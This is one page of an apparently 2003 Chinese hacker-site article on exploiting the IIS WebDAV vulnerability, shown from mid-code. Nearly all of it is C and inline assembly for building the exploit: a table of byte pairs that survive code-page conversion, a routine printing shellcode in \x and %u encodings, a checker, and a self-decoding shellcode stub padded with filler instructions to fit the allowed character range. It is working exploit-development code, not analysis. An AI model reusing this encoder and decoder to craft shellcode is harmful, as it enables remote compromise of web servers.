|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| WebDav漏洞简单分析及通用exploit设计 | |||||
作者:eyas 文章来源:CnXHacker.Net 点击数: 更新时间:2003-5-18 ![]() |
|||||
|
GetLastError()); return FALSE; } if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0, buff,strlen(buff), (unsigned short *)wbuff2, 1))) { printf("MultiByteToWideChar error:%d %d\n", GetLastError(), ret); return FALSE; } //判断经过两次转换后是否改变,只要在任何一种code page改变都视为非法wide char范围 if(*(DWORD *)wbuff != *(DWORD *)wbuff2) g_szWideCharShort[(BYTE)wbuff[0]*0x100 + (BYTE)wbuff[1]] = (BYTE)'\0'; } //getchar(); }//end of for 2 }//end of for 1 return TRUE; } void SaveToFile() { unsigned char *g_pStr; FILE *f; int i,j,k; i=0; /*将允许的wide char范围保存在文本文件,便于调试时查询*/ g_pStr = (unsigned char *)malloc(65536*6 +200); memset(g_pStr, 0, 65536*6+200); for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1 i += sprintf(g_pStr+i, "UseCodePage=%d\n",g_iCodePageList[k]); for(j=0;j<65536;j++) if(g_szWideCharShort[j] != (BYTE)'\0') i += sprintf(g_pStr+i, "%.4X\n", j); f = fopen("c:\\w.txt", "w"); fprintf(f, "%s", g_pStr); fclose(f); free(g_pStr); } void printsc(unsigned char *sc, int len) { int l; for(l=0;l<len;l+=1) { if(l==0) printf("\""); if((l%16 == 0) && (l!=0))printf("\"\n\""); printf("\\x%.2X", sc[l]); if(l==len-1) printf("\""); } printf("\n\n"); for(l=0;l<len;l+=2) { if(l==0) printf("\""); if((l%16 == 0) && (l!=0))printf("\"\n\""); printf("%%u%.2X%.2X", sc[l+1], sc[l]); if(l==len-2) printf("\""); } } void checkcode(unsigned char *sc,int len) { int l; /*检测*/ printf("\nstart check shellcode\n"); for(l=0;l<len;l+=2) { printf("shellcode %.2X%.2X at sc[%.2d] sc[%.2d] ", sc[l], sc[l+1], l, l+1); if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)'\0') printf("not "); printf("allow.\n"); } printf("Done.\n"); } /*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/ /*相应对shellcode进行编码时要注意以此为准*/ #define NOPCODE 0x4f//dec esi 0x4f='O' 0x4E='N' #define OFFSETNUM 0x8 #define DATABASE 0x64 void shellcodefnlock() { _asm { nop nop nop nop nop nop nop nop /*start here*/ dec edi//无用代码,为迁就指令范围 4f jnz unlockdataw//75 05 jz unlockdataw//74 03 dec esi//无用代码,为迁就指令范围 4e <--永远不会执行到此 /*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/ /*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/ /*符合wide char范围的代码了*/ toshell: /*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/ ret//c3 dec edi//无用代码,为迁就指令范围 4f <--永远不会执行到此 unlockdataw: /*取得我们的decoder的起始地址*/ push ebx//53 /*可以通用 push esp */ /*地址保存在esi*/ NOP pop esi//5e /*定位从哪里开始解码*/ loopload: /*读取两个字节内容,以esi为索引*/ lodsw//66 ad dec esi//无用代码,为迁就指令范围 4e inc esi//无用代码,为迁就指令范围 46 dec edi//无用代码,为迁就指令范围 4f inc ebx//无用代码,为迁就指令范围 43 /*判断是否已经达到待解码的字符处*/ cmp ax,0x6F97 // SHELLDATA 66 3d 97 6F | NOP//无用代码,为迁就指令范围 90 | push ecx//无用代码,为迁就指令范围 51 | NOP//无用代码,为迁就指令范围 90 |------>这边不能用影响标志位的指令 pop ecx//无用代码,为迁就指令范围 59 | jnz loopload//75 F0 | push ebx//无用代码,为迁就指令范围 53 /*将待解码字符的起始地址传递至edi,解码后的字符也从此起始地址存放*/ push esi//56 pop edi//5f dec edx//无用代码,为迁就指令范围 4a /*保存起始地址,注意后面push pop操作要均衡*/ /*不然toshell中的ret指令就不能返回到解码后的shellcode了*/ push edi//57 inc ebx//无用代码,为迁就指令范围 43 /*开始解码*/ looplock: /*读取两个字节内容,以esi为索引*/ lodsw//66 ad push eax//无用代码,为迁就指令范围 50 -------<<3>> inc ebx//无用代码,为迁就指令范围 43 /*判断是否已经全部解码完毕*/ cmp ax,NOPCODE// 66 3d 4f 00 NOP pop ecx//无用代码,为迁就指令范围 59 --------<<3>>还原堆栈操作 jz toshell//74 d5 dec esi//无用代码,为迁就指令范围 4e ----- 上一页 [1] [2] [3] [4] [5] [6] [7] 下一页 |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 通过建立安全模型保障Web数据 US CERT:谷歌eBay雅虎网站均 webshell下分离大文件资料 经典Webshell提权集合九招 四成Facebook用户轻易泄露身 FaceBook源代码泄漏 机器数量庞大 Google成WEB服 Web2.0带来营销领域深刻变化 安全专家:Web 2.0站点的coo Web安全性问题的层次关系 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |